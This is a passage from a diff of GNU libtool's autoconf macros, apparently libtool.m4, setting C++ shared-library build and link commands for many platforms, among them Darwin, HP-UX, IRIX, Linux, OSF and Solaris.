_LT_AC_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then + cp $export_symbols $output_objdir/$soname.def; + else + echo EXPORTS > $output_objdir/$soname.def; + cat $export_symbols >> $output_objdir/$soname.def; + fi~ + $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--image-base=0x10000000 ${wl}--out-implib,$lib' + else + _LT_AC_TAGVAR(ld_shlibs, $1)=no + fi + ;; + darwin* | rhapsody*) + case "$host_os" in + rhapsody* | darwin1.[[012]]) + _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-undefined ${wl}suppress' + ;; + *) # Darwin 1.3 on + if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then + _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' + else + case ${MACOSX_DEPLOYMENT_TARGET} in + 10.[[012]]) + _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' + ;; + 10.*) + _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-undefined ${wl}dynamic_lookup' + ;; + esac + fi + ;; + esac + _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no + _LT_AC_TAGVAR(hardcode_direct, $1)=no + _LT_AC_TAGVAR(hardcode_automatic, $1)=yes + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=unsupported + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='' + _LT_AC_TAGVAR(link_all_deplibs, $1)=yes + + if test "$GXX" = yes ; then + lt_int_apple_cc_single_mod=no + output_verbose_link_cmd='echo' + if $CC -dumpspecs 2>&1 | $EGREP 'single_module' >/dev/null ; then + lt_int_apple_cc_single_mod=yes + fi + if test "X$lt_int_apple_cc_single_mod" = Xyes ; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -dynamiclib -single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring' + else + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -r -keep_private_externs -nostdlib -o ${lib}-master.o $libobjs~$CC -dynamiclib $allow_undefined_flag -o $lib ${lib}-master.o $deplibs $compiler_flags -install_name $rpath/$soname $verstring' + fi + _LT_AC_TAGVAR(module_cmds, $1)='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags' + # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin ld's + if test "X$lt_int_apple_cc_single_mod" = Xyes ; then + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib -single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + else + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -r -keep_private_externs -nostdlib -o ${lib}-master.o $libobjs~$CC -dynamiclib $allow_undefined_flag -o $lib ${lib}-master.o $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + fi + _LT_AC_TAGVAR(module_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + else + case "$cc_basename" in + xlc*) + output_verbose_link_cmd='echo' + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -qmkshrobj ${wl}-single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring' + _LT_AC_TAGVAR(module_cmds, $1)='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags' + # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin ld's + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj ${wl}-single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + _LT_AC_TAGVAR(module_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + ;; + *) + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + esac + fi + ;; + + dgux*) + case $cc_basename in + ec++) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + ghcx) + # Green Hills C++ Compiler + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + *) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + esac + ;; + freebsd[12]*) + # C++ shared libraries reported to be fairly broken before switch to ELF + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + freebsd-elf*) + _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no + ;; + freebsd* | kfreebsd*-gnu) + # FreeBSD 3 and later use GNU C++ and GNU ld with standard ELF + # conventions + _LT_AC_TAGVAR(ld_shlibs, $1)=yes + ;; + gnu*) + ;; + hpux9*) + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes # Not in the search PATH, + # but as the default + # location of the library. + + case $cc_basename in + CC) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + aCC) + _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/$soname~$CC -b ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | grep "[-]L"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list' + ;; + *) + if test "$GXX" = yes; then + _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/$soname~$CC -shared -nostdlib -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' + else + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + fi + ;; + esac + ;; + hpux10*|hpux11*) + if test $with_gnu_ld = no; then + case "$host_cpu" in + hppa*64*) + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)='+b $libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + ;; + ia64*) + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + ;; + *) + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' + ;; + esac + fi + case "$host_cpu" in + hppa*64*) + _LT_AC_TAGVAR(hardcode_direct, $1)=no + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + ia64*) + _LT_AC_TAGVAR(hardcode_direct, $1)=no + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes # Not in the search PATH, + # but as the default + # location of the library. + ;; + *) + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes # Not in the search PATH, + # but as the default + # location of the library. + ;; + esac + + case $cc_basename in + CC) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + aCC) + case "$host_cpu" in + hppa*64*|ia64*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -b +h $soname -o $lib $linker_flags $libobjs $deplibs' + ;; + *) + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' + ;; + esac + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | grep "\-L"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list' + ;; + *) + if test "$GXX" = yes; then + if test $with_gnu_ld = no; then + case "$host_cpu" in + ia64*|hppa*64*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -b +h $soname -o $lib $linker_flags $libobjs $deplibs' + ;; + *) + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' + ;; + esac + fi + else + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + fi + ;; + esac + ;; + irix5* | irix6*) + case $cc_basename in + CC) + # SGI C++ + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -all -multigot $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${objdir}/so_locations -o $lib' + + # Archives containing C++ object files must be created using + # "CC -ar", where "CC" is the IRIX C++ compiler. This is + # necessary to make sure instantiated templates are included + # in the archive. + _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -ar -WR,-u -o $oldlib $oldobjs' + ;; + *) + if test "$GXX" = yes; then + if test "$with_gnu_ld" = no; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${objdir}/so_locations -o $lib' + else + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` -o $lib' + fi + fi + _LT_AC_TAGVAR(link_all_deplibs, $1)=yes + ;; + esac + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + ;; + linux*) + case $cc_basename in + KCC) + # Kuck and Associates, Inc. (KAI) C++ Compiler + + # KCC will only create a shared library if the output file + # ends with ".so" (or ".sl" for HP-UX), so rename the library + # to its proper name (with version) after linking. + _LT_AC_TAGVAR(archive_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib ${wl}-retain-symbols-file,$export_symbols; mv \$templib $lib' + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`$CC $CFLAGS -v conftest.$objext -o libconftest$shared_ext 2>&1 | grep "ld"`; rm -f libconftest$shared_ext; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list' + + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}--rpath,$libdir' + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic' + + # Archives containing C++ object files must be created using + # "CC -Bstatic", where "CC" is the KAI C++ compiler. + _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -Bstatic -o $oldlib $oldobjs' + ;; + icpc) + # Intel C++ + with_gnu_ld=yes + # version 8.0 and above of icpc choke on multiply defined symbols + # if we add $predep_objects and $postdep_objects, however 7.1 and + # earlier do not add the objects themselves. + case `$CC -V 2>&1` in + *"Version 7."*) + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + ;; + *) # Version 8.0 or newer + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + ;; + esac + _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic' + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive$convenience ${wl}--no-whole-archive' + ;; + cxx) + # Compaq C++ + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib ${wl}-retain-symbols-file $wl$export_symbols' + + runpath_var=LD_RUN_PATH + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-rpath $libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld .*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list' + ;; + esac + ;; + lynxos*) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + m88k*) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + mvs*) + case $cc_basename in + cxx) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + *) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + esac + ;; + netbsd*) + if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $predep_objects $libobjs $deplibs $postdep_objects $linker_flags' + wlarc= + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + fi + # Workaround some broken pre-1.5 toolchains + output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep conftest.$objext | $SED -e "s:-lgcc -lc -lgcc::"' + ;; + openbsd2*) + # C++ shared libraries are fairly broken + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + openbsd*) + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' + if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-retain-symbols-file,$export_symbols -o $lib' + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive' + fi + output_verbose_link_cmd='echo' + ;; + osf3*) + case $cc_basename in + KCC) + # Kuck and Associates, Inc. (KAI) C++ Compiler + + # KCC will only create a shared library if the output file + # ends with ".so" (or ".sl" for HP-UX), so rename the library + # to its proper name (with version) after linking. + _LT_AC_TAGVAR(archive_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib' + + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + + # Archives containing C++ object files must be created using + # "CC -Bstatic", where "CC" is the KAI C++ compiler. + _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -Bstatic -o $oldlib $oldobjs' + + ;; + RCC) + # Rational C++ 2.4.1 + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + cxx) + _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*' + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $soname `test -n "$verstring" && echo ${wl}-set_version $verstring` -update_registry ${objdir}/so_locations -o $lib' + + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld" | grep -v "ld:"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld.*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list' + ;; + *) + if test "$GXX" = yes && test "$with_gnu_ld" = no; then + _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*' + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${objdir}/so_locations -o $lib' + + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"' + + else + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + fi + ;; + esac + ;; + osf4* | osf5*) + case $cc_basename in + KCC) + # Kuck and Associates, Inc. (KAI) C++ Compiler + + # KCC will only create a shared library if the output file + # ends with ".so" (or ".sl" for HP-UX), so rename the library + # to its proper name (with version) after linking. + _LT_AC_TAGVAR(archive_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib' + + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + + # Archives containing C++ object files must be created using + # the KAI C++ compiler. + _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -o $oldlib $oldobjs' + ;; + RCC) + # Rational C++ 2.4.1 + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + cxx) + _LT_AC_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*' + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${objdir}/so_locations -o $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done~ + echo "-hidden">> $lib.exp~ + $CC -shared$allow_undefined_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname -Wl,-input -Wl,$lib.exp `test -n "$verstring" && echo -set_version $verstring` -update_registry $objdir/so_locations -o $lib~ + $rm $lib.exp' + + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-rpath $libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld" | grep -v "ld:"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld.*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list' + ;; + *) + if test "$GXX" = yes && test "$with_gnu_ld" = no; then + _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*' + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${objdir}/so_locations -o $lib' + + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"' + + else + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + fi + ;; + esac + ;; + psos*) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + sco*) + _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no + case $cc_basename in + CC) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + *) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + esac + ;; + sunos4*) + case $cc_basename in + CC) + # Sun C++ 4.x + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + lcc) + # Lucid + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + *) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + esac + ;; + solaris*) + case $cc_basename in + CC) + # Sun C++ 4.2, 5.x and Centerline C++ + _LT_AC_TAGVAR(no_undefined_flag, $1)=' -zdefs' + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -G${allow_undefined_flag} -nolib -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $CC -G${allow_undefined_flag} -nolib ${wl}-M ${wl}$lib.exp -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp' + + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + case $host_os in + solaris2.[0-5] | solaris2.[0-5].*) ;; + *) + # The C++ compiler is used as linker so we must use $wl + # flag to pass the commands to the underlying system + # linker. + # Supported since Solaris 2.6 (maybe 2.5.1?) + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='${wl}-z ${wl}allextract$convenience ${wl}-z ${wl}defaultextract' + ;; + esac + _LT_AC_TAGVAR(link_all_deplibs, $1)=yes + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`$CC -G $CFLAGS -v conftest.$objext 2>&1 | grep "\-[[LR]]"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list' + + # Archives containing C++ object files must be created using + # "CC -xar", where "CC" is the Sun C++ compiler. This is + # necessary to make sure instantiated templates are included + # in the archive. + _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -xar -o $oldlib $oldobjs' + ;; + gcx) + # Green Hills C++ Compiler + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib' + + # The C++ compiler must be used to create the archive. + _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC $LDFLAGS -archive -o $oldlib $oldobjs' + ;; + *) + # GNU C++ compiler with Solaris linker + if test "$GXX" = yes && test "$with_gnu_ld" = no; then + _LT_AC_TAGVAR(no_undefined_flag, $1)=' ${wl}-z ${wl}defs' + if $CC --version | grep -v '^2\.7' > /dev/null; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $CC -shared -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp' + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + output_verbose_link_cmd="$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep \"\-L\"" + else + # g++ 2.7 appears to require `-G' NOT `-shared' on this + # platform. + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -G -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $CC -G -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp' 